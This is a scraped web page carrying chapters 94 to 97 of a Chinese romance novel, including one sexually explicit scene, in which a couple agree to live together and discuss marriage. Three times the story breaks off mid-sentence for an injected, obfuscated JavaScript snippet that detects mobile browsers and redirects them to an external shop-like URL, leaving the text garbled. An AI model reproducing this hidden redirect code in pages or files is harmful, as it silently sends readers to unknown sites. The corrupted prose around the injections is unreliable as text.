冰凉的指尖按着嶙峋的喉结,喉间传来一阵酥麻的痒,齐寻禁不住咽了咽,喉结上下一滚,惹得黎叙闻笑起来:“有意思!你说话呀。” 齐寻顿了顿,才从善如流地开口:“闻闻。” “嗯?” “无论以后要面对什么,我都会一直陪着你。” 黎叙闻在他背上,猝不及防听到这一句,先是怔忪了半晌,然后恍然地想,原来这句话的触感……是这样的。 它跟齐寻一路上说的其他句子都不同,好像很低,很重,透过他宽阔的脊背,似乎有嗡嗡的回声,好像它在他的身体里回荡了已经很多很多年,于是酿成了这样醇厚的响动,只等着现在,在这个雨天,轻轻说给她听。 黎叙闻没有回答,她只是更深地伏在他的背上,抬头去看淅沥落雨的天空。 雨从昏暗的云中落下来,落进这片暖融的光里,最后啪地一声,尘埃落定。 回家好像也变成了一件值得期待的事了,她想。 …… 两只落汤鸡推开家门,在地板上踩出一串相伴的湿脚印。 “你先洗澡,”齐寻擦干手,给她拿睡衣:“别着凉了。” 他自己头发也还在滴水,黎叙闻看着地板上的水渍:“你呢?” 齐寻转身往客卧走:“我好像没什么衣服在这了,刚好等过两天你销假,我就回去了。” 黎叙闻在原地,也不管衣服冰凉凉地贴在身上,看着他的背影问:“回?回哪儿?” “回我家。”他声音远远从客房传来,翻箱倒柜一阵,又出来:“确实没了,你干嘛呢,还不洗澡?” 她仍站着,轻薄衬衫裹着她打抖的身体,目光明亮地看着他:“齐寻,你搬过来住吧。” 齐寻正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183691|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到客卧门口,就在门框里一愣,整个人定格成了一幅被框住的画。 仅仅两三秒,他笑了一声:“有夜灯了,晚上还怕?那以前你一个人怎么过的?” 黎叙闻定定地望着他。 这个人,危险的时候永远把她挡在后面,明里暗里做了多少发疯的事,以为她不知道——他的车自从那天被追车之后就下落不明,想也知道他半夜干什么去了。 但只要稍稍靠近,就会发现,他有太多不敢。 不敢靠近,不敢动心,不敢表白,不敢要求身份,也不敢强求她带婚戒。 现在连她同居的邀请,他都不敢相信。 以前一定吃了很多苦,不然怎么连这么一点点甜,他也不敢奢求。 心口跟着这想法坠痛起来,黎叙闻摇头:“不是怕,也不是正巧、不是顺便、不是暂住,我想跟你生活在一起,每天下班回来都能见到你,跟你一起吃饭,或者知道你去了哪里,什么时候回家。” 她自己也非常紧张,手指捏紧了裤缝,牛仔裤愈发紧绷在身上:“齐寻,我们一起住——我们同居吧?” 齐寻在原地盯着她看了很长时间,甚至忘了走上前去,给她一个湿淋淋的拥抱。 他听见了她克制紧张的呼吸,也听见她身上的水珠砸在地板上的声音。 那一瞬间他甚至害怕起来,因为生活告诉他,幸福必有代价,他真的不知道,除了她之外,自己还有什么好失去。 他实在说不出话来。 于是他大步走过去,停在离她很近的地方,眼底颤动着,轻轻拭去她脸上的水渍,然后把她抱进浴室,又跟她淋了一场很大很大的雨。 公寓的浴房本就逼仄,装下两个人十分勉强,而哗啦作响的水声和无可抑制的欲.望,更是无论如何也关不住。 黎叙闻靠在门上,后颈被他的手掌托起,整个人被困在他身前动弹不得。蒸汽尚未充满浴室,湿冷的水渍还粘在身上,被淋浴的水珠一溅,那一小块皮肤就颤抖一下,这轻颤贴着肌肤送到齐寻的眼里,又得寸进尺地将她搂紧。 齐寻靠她太近,体格像一座山,将她沉沉压住,她被箍得难以呼吸,却发不出声音,因为唇舌都在被占据,他舌尖的攻势比第一次时还要急迫、还要强势,几乎探寻遍了她口中的每一个角落,呼吸更是烫得吓人,跟他身上的气息混在一起,比渐渐热起来的蒸汽还要令人晕眩。 “闻闻,”他含住她的耳垂,竟还有功夫在她耳边潮湿地呢喃:“不许反悔,不许反悔。” 黎叙闻被他掌心的温度和薄茧刺激得瑟缩,却无处可逃,只能就着仅剩的一点清明,柔软地含糊道:“嗯……不、不反悔。” 在低切淙淙的水声里,她感觉到温热颤抖的双唇从耳后慢慢一路吻到颈前,听到这回答时力道突然加重,像要将她咬断喉咙,吞吃殆尽似地。 呼吸声陡然急促,她双手不由自主地攀住他的脖颈,上身更贴近他,却把更脆弱的部分送到了他的唇舌之下。 身体本能地软了下来,她跟蒸腾的水汽一样,化成了一朵云,偶然停歇在冷硬的铁身旁,那铁也让她浸润得滚烫潮湿,却依旧坚硬,贴着她轻软得近乎无形的丝絮,用恰到好处的力道,将她雕刻成任何他希望的形状。 “齐寻,慢、慢……” 这是齐寻第一次没有听她的。 因为他不想再忍了。 一切的隐忍、臣服、无法实现的肖想,都见鬼去吧。 他要有家了。 他紧紧按住她的侧腰,将她抵在水汽朦胧的门上,隔着氤氲的空气,几乎看不清她的脸,而他半闭的眼中暗潮快要吞没世界。 深切的渴求和恐惧在她渐渐克制不住的声音中轰然作响,寂静地撞击着他脆弱的理智。 ——越是害怕,他就越是要更浓烈、更彻底地占有。 他听见她的惊呼和战栗、不出自本心的抗拒,还有气息沉滞的乞求,但是没关系,没关系的,闻闻。 如果要坠落,就让她坠落。 反正他永远会接住她、拥抱她,然后一起燃烧、逃离,一起攀住船索,或是一起跌入深渊。 最后的时刻,她几乎痉挛着流着泪,一口咬上他的肩头。 这一口在神智模糊处用了全力,齐寻抱紧她,硬挨了这一下,气息停了很久,终于慢慢靠在她肩头上。 扣住他背肌的指尖颤抖着用力了很久,她柔软的身体也紧紧绷了很久,才在漫漫不尽的雨中逐渐脱力,靠进他怀里。 齐寻温香软玉在怀,闭着眼睛,轻轻笑了一声。 “让你笑!让你笑!”黎叙闻哭得不行,手臂绵软着都抬不起来,就要喘着骂人:“说了慢点慢点!你想干什么到底!” 齐寻肩膀颤抖了半天,才道:“嗯,我错了。” “你错个屁!”黎叙闻呜呜的,站都站不住了:“我看你下次还敢!” 95. 第 95 章 黎叙闻半是赌气半是脱力,半醒半睡地让齐寻给她清洗、擦好身体,把她抱上床后,竟然又清醒了。 “不然卧室里再添置个衣柜?你把衣服都拿过来,可能塞不下吧。”她披着衣服靠在床头,看着齐寻拖地板:“还有牙刷牙膏洗发水沐浴露剃须刀须后水什么的,你用什么牌子?哦还有啊,你平时在家喜欢玩什么?游戏机?音响?钓鱼?趁这个机会换换装备吧。” 她说着自己都怪兴奋的:“我给你买!” 可齐寻一直在客厅,背对着她拖地,看起来对这些零碎细节兴趣缺缺:“都不用,我没多少东西,等你休完假,我自己回去一趟,半天就行。” “半天?搬家你一个人能搞定?”黎叙闻不信:“要不就明天,先去微光把我铭牌领回来,然后我跟你回去收拾一下。” 齐寻拖地的动作终于停下了。 “不用。”他说。 黎叙闻不明所以地眨着眼,看着他一声不响地去洗手间收拾,不满意了:“你给我过来!折腾那么长时间你不累吗!” 洗手间泠泠水声里,传来他一声闷笑:“这种事能说累?” “……给你厉害的。” 齐寻收拾完,终于回来,在她身边坐下:“要我展示一下极限?” 黎叙闻冷着脸:“滚蛋。” 齐寻笑出声了,探过身在她额头上轻吻一下:“睡吧?还是再玩会儿?” “玩什么,跟你说正事呢,”黎叙闻蹭过来,贴着他道:“还有你的衣服,内衣裤,毛巾什么的,旧了刚好都换掉,明天咱们就一起去买,好吗?” 床头的小夜灯在她发顶打出一圈柔润的光圈,大概是在水汽里泡太久,她整个人白得发亮,一双上挑的眼尾揉了些温软的情意,盈盈地笑。 齐寻垂目看她,像看着一幅笔触精妙的油画。 这样的人,他竟能私有。 他轻轻刮了下她的鼻尖,笑着说:“都不用,不是什么大事,也就是换个睡觉的地方。” “睡觉的地方?”黎叙闻瞪圆眼睛:“我这么好的家你管它叫睡觉的地方?啊?我给你两分钟撤回重新说!” 齐寻无奈地改口:“对,感谢黎叙闻女士收留我进您的宫殿。” “为什么不让我去?”黎叙闻不服气极了:“你是不是在那毛坯房里藏了个女人?” 关于毛坯房,她只在几个月前跟微光聚餐那一次听过,就记下了,时时刻刻在找机会探听,偏偏齐寻嘴不是一般的紧,好奇得她抓耳挠腮的。 齐寻苦笑:“你也说是毛坯房了,哪个女人愿意住?” “我愿意住!”黎叙闻来劲:“不是夫妻共同财产吗?” “哦,所以你跟我在一起是为了钱?” “对,听说你家产丰厚,我才要跟你结婚的,骗光了你的钱我就走。” 齐寻又好气又好笑,无语了半天,才问:“你去了,会害怕吗?” “为什么怕?” 齐寻看着她半晌,指尖发凉,答不上来。 这怎么跟她说,说他其实觉得自己能活着就是在赎罪,说他不配这么好的生活,说凭什么其他人都死了,只有他运气这么好还活着,凭什么还能这么享受、这么惬意? 他本来打算这样活一辈子的,谁知道他的生命出现了这么大一个变故,而这个变故偏偏对他钟情,对他真诚,对他如此敞开,以至于他也有了些本不该有的奢望。 良久良久的沉默后,他本来还想抵抗,却看到了黎叙闻狐疑期待的眼神,又想了想,最后一咬牙:“那行吧。” 至于她看到之后是什么反应,他就都认了吧。 黎叙闻如愿以偿,笑得更是贪得无厌:“还有一件事。” “……又是什么?” “写我!” 第二天两人出现在微光队部,确实引来了一阵关注。 龙腾洪水救援结束后,齐寻突然发视频声明卸任副队长,之后就再没在微光出现过,除了几个相熟的队员,其余人根本不知道他去了哪儿。队里有过好一段时间的议论纷纷,都说前副队是恋爱脑,为了个女人连救援事业都不要了。 直到跟在他身边的三个队员带回了白蛇在柳北带队救人的消息,又赶上黎叙闻的新闻引起轰动,这波议论才散了。 黎叙闻就更不必说,新晋炙手可热的网红调查记者,虽然她本人无意经营,但她的名字依然不停地出现在各种趋势榜上,有时候还能压布偶和小金毛一头。 阿咩原本就是她的小迷妹,今天她一出现就立刻拉着她聊个不停,还拿出手机找出之前黎叙闻热搜第一的截图给她瞧:“你看呀!我给你存好了!” “……截这种玩意干嘛,占内存。” “啊你不喜欢吗?那我拿给白蛇看去,他肯定愿意花钱跟我买的。” 黎叙闻苦笑:“你还真是……生财有道。” 阿咩笑嘻嘻凑近了,抓起她的左手送到眼前,看到她空荡荡的指根:“诶?” “怎么?” “没有婚戒?”阿咩问:“我还想看看样式。” 黎叙闻一愣:“你要结婚啦?” “嗯,”阿咩抿着唇笑,很幸福的样子:“跟竹马。” 听得黎叙闻怪羡慕的:“真好……婚礼什么时候?” “就下个月了,我之前就给白蛇递过请柬,那时候你还没来微光呢。到时候你也一起来嘛。” “好哇,恭喜你。” 阿咩想了想:“那一会儿我去找白蛇看吧,拍照给我未婚夫。” 黎叙闻眨了眨眼,嘴比脑子快:“他戴了?” “你们怎么好像不熟一样,”阿咩笑道:“白蛇不是婚戒不离身的吗?” 黎叙闻:“……” 她真的没有注意过。 第一次亲密过后的早晨,齐寻想给她偷偷戴戒指,那种小心但冰凉的触感,又在她指根烧起来了。 或者说她没注意的不是齐寻这个人,而是戒指这种东西——虽然两个人早就登记了,可她始终觉得婚姻这种事,实在离她太远。 如果可以,她想跟齐寻一直在一起,但对真正走入婚姻,她仍然持保留态度。 这是种什么心态呢,她自己也不知道。 大概因为她的父母曾经也非常相爱,却还是逃不过兰因絮果吧。 …… 另一边,齐寻正把自己的铭牌扔到纪士诚的桌上。 “哦?”纪士诚皱眉:“真不干了?” 齐寻坐在他对面,随便拿起他的杯子就喝:“紧急联系人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186961|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 填黎叙闻,电话我微信发你。” 纪士诚笑了声,并不讶异:“她怎么把你给治了?” 齐寻面无表情:“……咬人挺疼的。” ——是的,黎叙闻同志昨晚梅开二度,当齐寻拒绝“写我!”这个要求后,全然没有了温香软玉的气质,按住他就往肩膀上的齿痕处咬,那力道,一口下去,齐寻就知道见血了。 为了不被自己女朋友活活吃掉,他只能忍辱负重地答应了这个无理的要求。 ……其实他早就打算填她的名字,只是她凶巴巴地让他“写我!”的样子,让他感觉到的被珍视的满足,远比任何时候都要满溢。 可惜以后看不到了,他摸着肩膀,默默地想。 “闻闻是真有两下子,”纪士诚笑得见牙不见眼:“你小子总算是栽了。” 齐寻懒得理他,又端起他的茶杯喝了口水,并往里面呸了一口茶叶。 纪士诚:“……你他妈一会儿去给我洗杯子。” 他顿了顿,话锋一转,又问:“所以,还回来?” “嗯。不干指挥了也行,她想做,我就陪她。”齐寻说:“昨天刚答应好的。” 纪士诚哼笑了声,摇着头,眼睛微微眯起来,眯出眼角好几条小鱼:“年纪不大,臭毛病学了一大堆。自己放不下就说放不下,还拿闻闻来当挡箭牌,一会儿我告诉她去。” 齐寻不说话,兀自垂目盯着纪士诚桌上的微光队徽。 沉黑的底色,套印着一簇微弱的火苗,看似随时会被风吹熄,但它一直顽强地燃烧到了现在,并且一年比一年壮大、一年比一年明亮。 这簇火苗在他心里默默地烧了八年,支撑了所有他没有找到闻闻的日子。 如果为了她,他什么都可以放下,但再回看时,没有后悔,却有遗憾。 “有什么不能承认的?”纪士诚叹了一声:“八年,养条狗都该放不下了,更别说你在微光付出了这么多,怎么就不能大大方方回来?” 外面的操练场上仍有新队员在痛苦地训练,一边吼老子不干了放老子回家,一边奋力地负重跑到终点。 微光救援队永远会燃烧下去,即使没有他。 齐寻盯着窗外看了一会儿,说:“可能我不想当什么英雄。” 纪士诚可不吃他这一套:“你到底是不想,还是觉得自己不配,我就不点破你了。我就说一句,论迹不论心,论心无完人。” 他太懂这小兔崽子在想什么了,无非是觉得自己当年听错了呼救声,喝了那瓶水,抢了别人的命,所以这辈子就要千倍百倍地赎。 纪士诚眼神在他脸上微微一顿:“我干救援这么多年,队伍来来去去的,每个人我都见过,他们想在微光得到什么,我一眼就知道。” 他收起桌上的铭牌,又从抽屉底下翻出个新的,甩到齐寻面前:“你就是喜欢救人。自己受过苦,就不想再看别人也难受,你齐寻就是这种大傻逼。” 齐寻怔忪地盯着那块新的铭牌,上面写的是他的名字,而紧急联系人,早就填上了黎叙闻,和那串他再眼熟不过的电话。 心里的某处,蓦地响起了一声重重的回音。 “休息好了就给我回来带训练,”纪士诚大手一挥:“回去再过几天小日子去吧,拿着滚。” 96. 第 96 章 从队部出来,黎叙闻炫耀似地拿自己的铭牌对着光瞧:“你别说,般配。” 小小的一块金属牌,在阳光下发着泠泠的光,又因为上面有他们两个的名字排排坐,而显得触手生暖。 她转头问齐寻:“你跟老纪说了吗?你要换一个……” 齐寻手握着拳,靠近她举着铭牌的手,一松手,一块一模一样的金属牌顺着链子,一条小鱼一样,垂在了她那块的旁边。 一对亮银色的铭牌,在初秋的融光中并肩,有风吹过,齐寻那块向她的轻轻一碰,柔软的项链缠住了彼此。 叮铃一声响,黎叙闻听得五脏六腑都冒着雀跃的气泡,问他:“怎么这就拿到了?不是还得定制?” 两道雪亮的金属反光照在齐寻脸上。 可能除了你自己,谁都知道你吃定我了吧。他想。 黎叙闻盯着那块光亮,看他的眼睛,看他的嘴唇,最后视线又挪到他握着项链的指根。 那里有一圈更清透更纯净的亮色,一直静静等待着,等待着她目光的停留。 她被这光亮晃了眼。 黎叙闻低头戴上牌子,掩去了自己复杂的眼神,故意问:“现在该去哪儿了呀?” 齐寻也戴上自己的,无奈道:“……去租车吧。” 黎叙闻一愣:“你家在隔壁省?” “没到,不过差不多了,”齐寻说:“现在后悔还来得及。” “不后悔,为什么要后悔?”黎叙闻没别的,论性子倔她是第一名:“你就算住羊城我也去!” …… 等车开到“听岚水岸”门口,已经做了好几个梦的黎叙闻终于醒了。 一睁眼就看到传说中住户非富即贵的别墅区,她简直怀疑自己没睡醒:“停这儿干什么?” 齐寻把车速降到10,门口的门禁验明他身份,黑色铁艺大门缓缓打开。 黎叙闻:? 不是说毛坯房吗? 齐寻侧脸看了眼她的表情,心里无端紧张:“住在这只是因为离录音棚近。你也说了,是毛坯房。” 黎叙闻听得很想笑:“你打什么补丁呢?怕我看到你家掉头就走吗?” “……怕你落差太大。” 然后车速就一直维持在10码,乌龟一样,下车走都比他开得快。 等车一步一步蹭到他家路口,一栋黑灰色水泥裸露的三层别墅,鸡立鹤群地出现在视线的尽头。 太显眼了,想装看不见都不行。 黎叙闻仍很乐观:“不过这风格还挺配你的。” 她扭头看了一眼,身边人紧抿着唇角,没说话。 直到齐寻拿出钥匙打开门,她才知道,齐寻为什么会是那副表情。 她以为说它是毛坯房,是因为装修风格粗犷简约,没什么复杂的软装,都来干货,她还想那怎么了,齐寻不就是这样的人吗。 但真到了这才知道,“毛坯房”三个字根本不是什么比喻,而是白描写实。 目之所及,这房子大得空旷,一层大概有将近三百平,全是混凝土浇灌而成的灰白颜色,墙上甚至还有粉刷了一半的痕迹。 而简陋的家具——黎叙闻觉得那都不能称为“家具”,而是该还原成桌子椅子床垫板凳这种原始的词——跟玩具一样,散落在虚空的房间里。 一只细脚嶙峋的小茶几,一台冰箱,一张不测不到一米宽的床垫,两把木工椅子,看上去不怎么结实,一只容量很大的垃圾桶。 于是墙角那一套高级的HIFI音响,就像走错了片场的演员一样,跟整个别墅都格格不入。 “上面两层我不怎么上去,就放了几件衣服,”齐寻身体前所未有地紧绷,声音因为紧张甚至显得冷硬:“你要想去看也行,不过真没什么好看的。” 地方太空,在里面说话会激起好几波源源不断的回音。 黎叙闻默默看着这里的每一个角落,想象他在遇到她之前,天天住在这里,是怎么生活的。 “厨房好像也没装,就一台微波炉和一口锅……你都点外卖吃吗?”她一开口,才发现自己喉咙都粘住了。 齐寻心虚地瞟了一眼冰箱:“嗯。” 如果她这时候过去打开冰箱的话,就会看到,里面冻着无数的速冻食品,很多都已经过期很久了。 但它们都很方便,而且维持生命体征足够了。 黎叙闻点点头:“哦。” 她做不出任何反应,只是想,原来这才是他。 本以为相识之后的点滴已经足够她拼凑成一个完整的齐寻,他应当是吃了很多苦,于是要什么都小心翼翼,永远把自己排在别人后面。 而今天她踏进这间房子,她才知道,这里才是真正的他——阴森、简陋,没有半分生气,仅仅是活着。他站在人群里,就像这栋毛坯房之于这个活色生香的别墅区,虽然外观不同,但也勉强能说是它们中的一员。 可它里面是空的。 “闻闻?”齐寻小心地轻声唤她。 辽阔空间把他的尾音扩大了数十倍,听上去像一声呜咽:“在想什么?” “没,没有。”黎叙闻猛地回神,笑着:“我就是在想象,你以前是怎么过日子的。” 齐寻看着她闪躲的眼睛。 他真的后悔了。 早先决定要跟她有交集的时候,他就应该把这里卖掉,换个正常的地方,哪怕他根本不能住呢。 这种地方为什么要领她来,为什么要期待她能接受。 为什么要伤心。 “你平时不睡觉的时候坐哪里呢?”黎叙闻终于从卡壳中缓过来,在不远处转来转去,坐在那把结构松垮的椅子上:“这里吗?” 齐寻:“……嗯。” “这坐着很难受啊,”黎叙闻感觉腰疼:“坐累了呢?” 躺地上,齐寻在心里说。 下一秒,他就看见黎叙闻蹲在水泥地上研究了一会儿,然后直接躺在了地上。 “我觉得地上舒服呀,你没试过吗?” 齐寻扬起眉毛盯着她,觉得是自己疯了。 “你来啊,”她拍拍身边空地:“给你留了地方。” 齐寻心在不妙地抽搐,大步走过去,伸手想拉她:“起来,要着凉了。” 黎叙闻一头乌瀑似的长发散落在黑灰冷硬的地上,不再笑了:“来陪我躺会儿,我有话跟你说。” 齐寻垂下眼睫看着她。 周围如此寒酸粗陋的颜色,都掩不住她的白皙和明艳。 这样一个人,无论她说什么,他都不敢听。 黎叙闻不催他,也不再说话,只是躺在地上,安静地跟他空荡荡的眼神对视。 只消几秒钟,齐寻还是乖乖躺在了她身边。 他一躺下来,黎叙闻立刻感觉身上暖和了点,忍不住往他身边贴了贴。齐寻轻轻碰了碰她的手指,感觉有些凉,试探着用手背贴上她的,被她一把抓住。 宽大的手掌从她手心里挣出来,然后紧紧地整个包裹住她的手。 齐寻深深闭上眼。 视觉一旦受限,他的听觉就会成倍暴涨,于是他听见裸露的管道中的水流声,窗外偶尔有车路过的的引擎声,他身边的人跟他一样过快的心跳,和相扣的手腕撞击的脉搏。 还有她又低又轻的说话声。 “我之前看过一本书,上面说,一个人住的地方,跟TA的内在空间是协同的——是什么样的人,居家空间也会慢慢变成TA自我认同的样子。” “原来你是这样的。”她说。 齐寻团裹着她手掌的指尖轻轻颤了一下。 “可我觉得你不是这样。我看见的你不是这样的,齐寻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190747|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 睫毛闪了闪,他忽地睁开眼睛。 天花板上什么也没有,只有印印花花的一个不规则的水印圆。 可他看见了太阳。 “刚刚我是想问你为什么来着……想了想,还是算了,这大概跟你存在我这里的那个问题一样,是你现在不想提的。” 齐寻哑着嗓子:“你可以问……” “然后让你忍着难过跟我说,或者干脆糊弄我?”黎叙闻笑了,窝在他手心的指尖轻轻挠了挠:“我不问不是因为我不好奇。我不问,是在等你主动开口。” 她身上的水香一阵一阵在身边萦绕,齐寻一整颗心在这种香气里,轰然坠地。 她干脆把头靠在他肩膀上:“我们真的很不同。从小家里人就教我,喜欢什么就主动去要,对方不答应还可以商量,即使拿不到我想要的东西,也比两手空空要好。但你不是这样——其实婚戒对你来说,意义非凡,是不是?” “……嗯。” “那代表什么?” “代表……”他舔了舔嘴唇,说得很艰难:“代表我们是一家人。” 直到这一句的尾音在空中盘桓到消散,黎叙闻才慢慢把手放在他肩膀上,说:“我不知道它对你来说这么重要。” “我知道这太越界了。”齐寻自嘲地笑了声:“领了假证的时候,想能多了解你一些;了解了你,又想多陪你一阵子;有了这个,又想拥有;现在你答应跟我在一起了,我又想要你做我的家人。太贪了,我知道。” 放在身侧的手心里,那凉凉的指尖又挠了他一下。 “可是我也一样啊,”她轻声说:“想跟你长长久久走下去” 这句话的回音在四壁间不停地回荡,像一句不肯停歇的承诺。 齐寻微微侧过脸,看着她发亮的眼睛,任这一声声灌进他耳朵里。 其余的他都听不见了,能让他一遍遍听见的,只有那句“想跟你长长久久走下去。” 值了,他想。 黎叙闻深深吸一次:“我不是不想的,如果你告诉我戒指对你来说意味着家,那我一定会为你戴——但是对婚姻这种形式,我有点害怕。” 她纤细的指尖去摸他手上的戒指,铂金质地被他的体温炙烤得温暖滑润:“比起祝福,我觉得它更像一句诅咒,就好像原本相爱的人走进去,最终都会变得不幸。” “我不是抗拒你,不是抗拒跟你有个家,我只是抗拒婚姻本身。戒指只是个物件,如果你想,我可以为了你戴,但是要我接受别的,你得给我一点时间,”她将手指插入齐寻的指缝,然后十指相扣着握紧:“行吗?” 被攥紧的不只有齐寻的手,还有他脱落了厚重外壳的柔软的心。 其实戴不戴戒指又有什么要紧,他要的不过是来自她的一句确认,确认她是认真地要跟他一起生活,确认她能接纳他自己都接纳不了的东西,也确认她不会轻言放弃。 现在有了她这些话,其它什么都多余。 这个时刻他实在说不出什么话来,比如谢谢,或者我爱你,好像他一开口,所有填满他的感动和爱意都会瞬间坍缩,坍缩成一些听上去无关紧要、轻描淡写的词语。 所以他将手慢慢从她指缝里退出来,褪下戒指,交到她手里,又把她的手掌握紧:“你等我的答案,我等你给我戴戒指。” 那小小的素圈烙在黎叙闻的掌心,带着他体温的温暖触感,一路游到她心里,浮现在她脸上,开出了一朵柔软的笑意。 “齐先生,”她转过头注视他,带着笑说:“现在你可以拥抱你的家人了。” 齐寻胸口有一股陌生的踏实感缓缓升起来,充满他空荡了十年的心,于是他也笑起来,手臂一伸,把她捞进怀里。 在这间不能示人的简陋毛坯房里,他们用一个不分彼此的拥抱,把它变成了家。 97. 第 97 章 齐寻真的没什么行李,一个28寸的行李箱都没装满,就包括了他一年四季所有的必需品。 他提着箱子下来的时候,黎叙闻正对着窗边那个亮晶晶的小猪存钱罐研究。 小猪放在她耳边,被轻轻一晃,发出哗啦啦的丰盛响动,她侧着耳朵,举着小猪问他:“这是什么?” 齐寻看着她,她半边脸被小猪映得金灿灿的:“钱。” “……我知道是钱!”黎叙闻给他一个无语的眼神:“多少钱啊?为什么存成硬币?” 小猪咧着嘴,一双眼睛笑眯眯的,看着面前的这个女人。 齐寻每救一个人,就往里面存一块,到现在,它的肚子里已经装了一百个硬币了。 一百条经由他手重生的生命,抱起来沉甸甸的。 可他存钱也不是为了计数,而是为了许愿——说来好笑,根本不信神佛的齐寻却偏偏相信,如果他每救一人,就许愿一次跟闻闻重逢,那么总有一天,这个愿望会成真的。 不是都说救人一命胜造七级浮屠么,他也不要什么浮屠,他想用这些功德,去换一个人。 要是见不到,那求她一生平安,也是好的。 所以那个暮春的夜晚,他拖着一身疲惫回到家里,衣服还没换,就先往存钱罐里投下一块钱。 硬币落入小金猪腹中,带起一阵清脆的哗啦声,小猪背上的数字从99蹦到了100. 齐寻有些恍惚地看着这个没有实感的数字。 一百人,一个普通的电影剧组,都没有一百个人。 一种许久未曾出现的鼓胀感瞬间充斥了心脏,那是他第一次吊着绳索,从悬崖下捞上一个奄奄一息的孩子时才有的感觉。 他伸手轻轻摩挲小金猪粗糙的肚子:“闻闻,我们是不是……就快见面了?” 然后,他就接到了当时合作制片的电话:“齐老师不好意思啊,我们这儿真的急,上次那个工地旁边的仓库你没赶上堪景,要不麻烦您,今晚就过去一趟?” 齐寻看着黎叙闻抱着存钱罐的样子,心里漫过一阵不明所以的敬畏。 原来一切真的早有安排。 他过去接过存钱罐,把它仔仔细细裹在衣服的最里面,给小猪做了一个最柔软的窝,才放进了行李箱里。 黎叙闻不明所以,追着他问:“这里面的钱能花吗?” “……你这么缺钱?” “不能花你存来干嘛?” 齐寻笑着看她一眼,挡开她要去扒拉小猪的手:“这是我的护身符。” 黎叙闻眨眨眼,哦了一声,终于把爪子缩回来了。 …… 然而争吵来得猝不及防。 “不许去。” 齐寻冷硬着一张脸,跟来时的犹豫和小心翼翼大相径庭,恨不得把油门踩出火。 “他是老马跟我妈一起给我找的,现在不去了,总得给人家交代一声吧?”黎叙闻被他气得头疼:“这还没结婚呢,你就管上了?” 齐寻冷笑:“你怎么证明我们没结婚?” 黎叙闻卡了下壳,怒道:“你现在是有恃无恐!” “嗯,怎么了?”齐寻板着脸转过一个路口,视线划过后视镜,看了眼她脸微微涨红的样子,心里柔软了一瞬,还得寸进尺:“你后悔了?” 黎叙闻刚想说嗯对我后悔了我就不该给你好脸色,张了张嘴,又不忍心,哼了一声,转过脸不理他了。 “他不是什么好人,”齐寻叹了口气:“我也是男人,他想什么我能不知道么?” “他就是我的咨询师,对我有没有那种意思,我自己有数。”黎叙闻坚持:“他要是水平不行,没有职业道德,你们微光还会让他做心理顾问?” 这下子轮到齐寻卡壳。 林青淮那厮,长得人模狗样,头发梳得像狗舔,齐寻一万个看不上人家,但饶是如此也不得不承认,这人无论是口碑还是经验,客观来讲都无可挑剔。 ……更气了。 “结束咨询都要跟咨询师商量的,这是大事,”黎叙闻稍稍软了口气:“我知道你快醋死了,但是没关系,我还是喜欢你。” 齐寻一哽:“……谁快醋死了?” 黎叙闻:“行,你不醋,那你有本事别管我,我以后每周去找他一次,把咱们各种细节都跟他讲一遍……” 轮胎在柏油路上磨出“滋——”的一声,车身猛猛一顿,险些直接停在路中间。 齐寻铁青着脸,转头看她:“什么细节,你再说一遍。” 黎叙闻根本不怕他,挑着眉眼笑起来:“说你怎么对我好,怎么宠着我,怎么伺候我,让他死心,行不行?” 齐寻一口气没上来,直接岔气了。 ……早晚被这小祖宗气出病来。 他冷着脸重新上路,嘴角却控制不住地微微挑起,闷声道:“最后一次了?” “最后一次。” “那我去门口等你。”眼看黎叙闻皱着眉深吸一口气准备输出,齐寻一锤定音:“再说,再说就真不许去了!” …… 第二天,齐寻从4S店接回他整修一新的牧马人,老老实实开车送黎叙闻到话剧中心门口。 林青淮还是穿着一身得体的灰西装,站在门口的阴凉处,脸上始终带着温润的笑意,已经在等她了。 黎叙闻去摸车门,就听齐寻在背后瓮声瓮气的:“早去早回。” “你真不用等我,”黎叙闻无奈道:“去喝个咖啡,吃点东西,有事你就去忙,我自己回就行。” 齐寻摇头:“不可以,丢了怎么办?” 黎叙闻正要说我在京屿长大的我还能丢?话到嘴边,终于听出他弦外之音来,伸手点了点他,转身下车了。 齐寻眼看着林青淮的目光温柔地落在她身上,冲她招手,最后两个人一起并肩,消失在了话剧中心黑洞洞的阴影里。 他看了一阵,突然开始在车里乱翻。 上次明明还剩了半盒烟,放哪儿了呢? …… 直到坐在咨询室里,黎叙闻想起齐寻看着她跟林青淮并肩而行时那个眼巴巴的眼神,还是不由地笑出声来。 林青淮金丝框镜透亮,一眼好像就看进她心里:“心情不错?” 